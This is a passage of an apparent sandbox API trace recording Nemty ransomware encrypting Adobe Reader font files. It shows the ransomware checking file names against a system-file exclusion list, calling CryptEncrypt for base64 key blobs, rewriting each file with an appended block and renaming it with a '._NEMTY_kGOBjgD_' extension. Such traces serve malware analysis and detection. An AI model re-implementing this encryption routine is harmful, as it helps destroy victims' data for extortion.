cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0214.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Italic.otf", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHebrew-Italic.otf", lpUsedDefaultChar=0x0) returned 22 [0214.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Italic.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0214.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Italic.otf", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHebrew-Italic.otf", lpUsedDefaultChar=0x0) returned 22 [0214.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0214.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0214.103] Sleep (dwMilliseconds=0x5) [0214.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x33417b30, dwHighDateTime=0x1d561e8)) [0214.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x33417b30, dwHighDateTime=0x1d561e8)) [0214.108] GetLastError () returned 0x0 [0214.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.108] GetLastError () returned 0x0 [0214.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.108] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.108] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.108] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0214.108] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="7jG2xPRc9qUmVkhdQ58Rg+1PeAtvdDGPR0SJqphgzgNv8++O47h7noSA32oRzB5T\r\ntBOQWL3BOMihSTDu82HX+GfmkQgrstXF2xEcdqVpbJprxiBhzTbv5InYJK9zL5eF\r\nQpxLd7M3drzUUC3yngF+iLE8gjefxk7ppDIgjDTxwUA4DpdaLWnllMGChTJvmYBh\r\nXZjvoPYTOq+BYqOM3s9b2QAd16yewoqq5VUBw2cBJmkp+Q5BbPUgoq8tB4JSW+Mx\r\niS8HFo8r27j7Eayy6wEnNUlash9nqyAY0Nq6Z3M9cWouyEhH4WfUxV8OGhH30VO3\r\nwnnVtjUsKfgUzWmtnVKavw==\r\n", pcchString=0x653e91c) returned 1 [0214.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0214.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.109] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-Italic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobehebrew-italic.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.109] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=72300) returned 1 [0214.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11a60) returned 0x6352c48 [0214.109] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.109] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x11a60, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x11a60, lpOverlapped=0x0) returned 1 [0214.115] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.115] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x11a60, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x11a60, lpOverlapped=0x0) returned 1 [0214.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.116] SetFilePointer (in: hFile=0x254, lDistanceToMove=72300, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11a6c [0214.116] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.116] CloseHandle (hObject=0x254) returned 1 [0214.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0214.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0214.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0214.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0214.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.116] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-Italic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobehebrew-italic.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-Italic.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobehebrew-italic.otf._nemty_kgobjgd_")) returned 1 [0214.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0214.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0214.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.117] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8359bd40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11380, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHebrew-Regular.otf", cAlternateFileName="ADOBEH~3.OTF")) returned 1 [0214.117] lstrcmpiW (lpString1="AdobeHebrew-Regular.otf", lpString2=".") returned 1 [0214.117] lstrcmpiW (lpString1="AdobeHebrew-Regular.otf", lpString2="..") returned 1 [0214.117] lstrcmpiW (lpString1="AdobeHebrew-Regular.otf", lpString2="...") returned 1 [0214.117] lstrcmpiW (lpString1="AdobeHebrew-Regular.otf", lpString2="windows") returned -1 [0214.117] lstrcmpiW (lpString1="AdobeHebrew-Regular.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.117] lstrcmpiW (lpString1="AdobeHebrew-Regular.otf", lpString2="rsa") returned -1 [0214.117] lstrcmpiW (lpString1="AdobeHebrew-Regular.otf", lpString2="NTDETECT.COM") returned -1 [0214.117] lstrcmpiW (lpString1="AdobeHebrew-Regular.otf", lpString2="ntldr") returned -1 [0214.117] lstrcmpiW (lpString1="AdobeHebrew-Regular.otf", lpString2="MSDOS.SYS") returned -1 [0214.117] lstrcmpiW (lpString1="AdobeHebrew-Regular.otf", lpString2="IO.SYS") returned -1 [0214.117] lstrcmpiW (lpString1="AdobeHebrew-Regular.otf", lpString2="boot.ini") returned -1 [0214.117] lstrcmpiW (lpString1="AdobeHebrew-Regular.otf", lpString2="boot.ini") returned -1 [0214.117] lstrcmpiW (lpString1="AdobeHebrew-Regular.otf", lpString2="AUTOEXEC.BAT") returned -1 [0214.117] lstrcmpiW (lpString1="AdobeHebrew-Regular.otf", lpString2="ntuser.dat") returned -1 [0214.117] lstrcmpiW (lpString1="AdobeHebrew-Regular.otf", lpString2="desktop.ini") returned -1 [0214.117] lstrcmpiW (lpString1="AdobeHebrew-Regular.otf", lpString2="CONFIG.SYS") returned -1 [0214.117] lstrcmpiW (lpString1="AdobeHebrew-Regular.otf", lpString2="RECYCLER") returned -1 [0214.117] lstrcmpiW (lpString1="AdobeHebrew-Regular.otf", lpString2="BOOTSECT.BAK") returned -1 [0214.117] lstrcmpiW (lpString1="AdobeHebrew-Regular.otf", lpString2="bootmgr") returned -1 [0214.117] lstrcmpiW (lpString1="AdobeHebrew-Regular.otf", lpString2="programdata") returned -1 [0214.118] lstrcmpiW (lpString1="AdobeHebrew-Regular.otf", lpString2="appdata") returned -1 [0214.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Regular.otf", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0214.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Regular.otf", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHebrew-Regular.otf", lpUsedDefaultChar=0x0) returned 23 [0214.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0214.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Regular.otf", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0214.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Regular.otf", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHebrew-Regular.otf", lpUsedDefaultChar=0x0) returned 23 [0214.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0214.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Regular.otf", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0214.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Regular.otf", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHebrew-Regular.otf", lpUsedDefaultChar=0x0) returned 23 [0214.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Regular.otf", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0214.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Regular.otf", cchWideChar=23, lpMultiByteStr=0x4f9ed08, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHebrew-Regular.otf", lpUsedDefaultChar=0x0) returned 23 [0214.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0214.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0214.118] Sleep (dwMilliseconds=0x5) [0214.123] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x3343dc90, dwHighDateTime=0x1d561e8)) [0214.123] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x3343dc90, dwHighDateTime=0x1d561e8)) [0214.123] GetLastError () returned 0x0 [0214.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.123] GetLastError () returned 0x0 [0214.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.124] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.124] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.124] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0214.124] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="t2f5MT2N59hYg5whXrsicePTtzAokqXVblJ9GZLbW+xEyI6cEwOJmN/Py5QE2/0x\r\ntqJJdju26YRDHHLu8bGHA2REiIaD0Dv1hKpnydD6nOU7MaGReYlLZ0ScweHH9G8M\r\nT9yvzrP61nHrmAuOkK21xwcrrNeVKqMDyUspgc6hCBTVaE2i4IEKb9JUFDnPmz6n\r\nJwNXGS3pTJo8jGYX0OE01uSKOV6yotlvBuwurmHW/SLl+JhMc80WJYWT0xyhC53U\r\nD5iMCPBJRV1gmcP5MVbGSb3cq/l3Qv2POUa2902EqAn8hFKbpNqYfDFDPIUdNRos\r\nLK328QAYmoJtyvPrKsYxIg==\r\n", pcchString=0x653e91c) returned 1 [0214.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0214.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.124] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobehebrew-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.124] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=70528) returned 1 [0214.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11380) returned 0x6352c48 [0214.125] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.125] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x11380, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x11380, lpOverlapped=0x0) returned 1 [0214.131] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.131] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x11380, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x11380, lpOverlapped=0x0) returned 1 [0214.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.131] SetFilePointer (in: hFile=0x254, lDistanceToMove=70528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11380 [0214.131] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.131] CloseHandle (hObject=0x254) returned 1 [0214.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0214.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0214.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0214.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0214.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.131] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobehebrew-regular.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-Regular.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobehebrew-regular.otf._nemty_kgobjgd_")) returned 1 [0214.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0214.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0214.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.132] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15e3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobePiStd.otf", cAlternateFileName="ADOBEP~1.OTF")) returned 1 [0214.132] lstrcmpiW (lpString1="AdobePiStd.otf", lpString2=".") returned 1 [0214.132] lstrcmpiW (lpString1="AdobePiStd.otf", lpString2="..") returned 1 [0214.132] lstrcmpiW (lpString1="AdobePiStd.otf", lpString2="...") returned 1 [0214.132] lstrcmpiW (lpString1="AdobePiStd.otf", lpString2="windows") returned -1 [0214.132] lstrcmpiW (lpString1="AdobePiStd.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.132] lstrcmpiW (lpString1="AdobePiStd.otf", lpString2="rsa") returned -1 [0214.132] lstrcmpiW (lpString1="AdobePiStd.otf", lpString2="NTDETECT.COM") returned -1 [0214.132] lstrcmpiW (lpString1="AdobePiStd.otf", lpString2="ntldr") returned -1 [0214.132] lstrcmpiW (lpString1="AdobePiStd.otf", lpString2="MSDOS.SYS") returned -1 [0214.132] lstrcmpiW (lpString1="AdobePiStd.otf", lpString2="IO.SYS") returned -1 [0214.132] lstrcmpiW 